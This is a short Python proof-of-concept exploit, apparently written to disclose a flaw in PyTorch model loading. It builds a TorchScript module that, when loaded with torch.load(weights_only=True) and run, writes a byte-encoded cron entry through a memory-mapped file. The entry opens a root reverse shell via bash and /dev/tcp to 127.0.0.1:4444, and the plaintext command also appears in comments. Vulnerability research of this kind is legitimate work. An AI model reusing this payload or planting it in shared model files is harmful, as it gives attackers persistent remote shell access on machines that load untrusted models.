import torch # text = "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'\n" # asciis = [ord(c) for c in text] # print(f"{asciis=}, len: {len(asciis)}") class MyModule(torch.nn.Module): def forward(self, x): t = torch.from_file("rev.txt", shared=True, size=70, dtype=torch.uint8) # "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'\n" msg = torch.tensor([42, 32, 42, 32, 42, 32, 42, 32, 42, 32, 114, 111, 111, 116, 32, 47, 98, 105, 110, 47, 98, 97, 115, 104, 32, 45, 99, 32, 39, 98, 97, 115, 104, 32, 45, 105, 32, 62, 38, 32, 47, 100, 101, 118, 47, 116, 99, 112, 47, 49, 50, 55, 46, 48, 46, 48, 46, 49, 47, 52, 52, 52, 52, 32, 48, 62, 38, 49, 39, 10], dtype=torch.uint8) # Copy bytes into the mapped file t.copy_(msg) out = x * 2.0 out = out + t.sum().to(out.dtype) * 0.0 return out m = torch.jit.script(MyModule()) m.save("scriptmodule.pt") # load model = torch.load("scriptmodule.pt", weights_only=True) model(torch.tensor([10], dtype=torch.uint8))